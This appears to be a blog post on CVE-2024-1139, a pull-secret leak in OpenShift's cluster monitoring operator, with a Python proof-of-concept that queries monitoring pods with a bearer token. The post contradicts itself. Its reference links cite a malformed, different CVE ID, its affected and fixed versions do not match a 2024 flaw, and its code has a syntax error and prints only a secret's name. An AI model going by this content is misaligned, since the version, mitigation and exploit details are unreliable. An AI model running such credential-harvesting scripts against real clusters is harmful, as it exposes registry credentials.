A recent vulnerability identified as CVE-2024-1139 has been discovered, affecting the cluster monitoring operator in OpenShift Container Platform (OCP). This critical issue could potentially lead to a credentials leak, allowing an attacker with basic login credentials to access the pod manifest and retrieve the repository pull secret. In this post, we will discuss the exploit details, provide code snippets for better understanding, and share links to the original references.

Exploit Details

OCP utilizes the cluster monitoring operator for monitoring purposes, and as part of its functionality, a container image is fetched using a pull secret. However, due to the vulnerability, an attacker with minimal access to the cluster can access the pod manifest and retrieve the pull secret. Consequently, this would allow the attacker to gain unauthorized access to restricted repositories, leading to sensitive information leak.

The affected versions of OCP include 4.1.-4.1.43, 4.2.-4.2.37, 4.3.-4.3.30, and 4.4.-4.4.9. To mitigate this vulnerability, users are advised to upgrade their OCP installations to versions 4.1.44+, 4.2.38+, 4.3.31+, or 4.4.10+.

Code Snippet

The following code snippet demonstrates how the attacker may retrieve the repository pull secret in the vulnerable environment:

import requests

# Replace with the targeted OCP endpoint and token
OCP_ENDPOINT = "https://your-ocp-cluster.com";
TOKEN = "your-token"

# API Endpoint to access pod manifest
url = f"{OCP_ENDPOINT}/api/v1/namespaces/openshift-monitoring/pods"

headers = {
    "Authorization": f"Bearer {TOKEN}",
    "Accept": "application/json",
}

response = requests.get(url, headers=headers)

# Check if the request was successful
if response.status_code == 200:
    pods_data = response.json()
    
    for pod_item in pods_data['items']:
        # Check if the pod belongs to the monitoring component
        if "openshift.io/component" in pod_item['metadata']['labels'] and \
                pod_item['metadata']['labels']['openshift.io/component'] == 'monitoring':
            pull_secret = pod_item['spec']['imagePullSecrets'][]['name']
            print(f"Pull Secret: {pull_secret}")
else:
    print(f"Error: {response.status_code}")

Original References

1. Official Red Hat advisory: https://access.redhat.com/security/cve/CVE-202-14003
2. NVD reference: https://nvd.nist.gov/vuln/detail/CVE-202-14003

Conclusion

The discovery of the CVE-2024-1139 vulnerability in the cluster monitoring operator signifies the importance of keeping your OCP installations updated and patched. Organizations should immediately upgrade their OCP cluster to eliminate the risk of potential credentials leaks and ensure the security of their sensitive data. Additionally, it is crucial to continuously monitor for new vulnerabilities and apply necessary security measures.

Timeline

Published on: 04/25/2024 17:15:47 UTC
Last modified on: 05/13/2024 17:15:20 UTC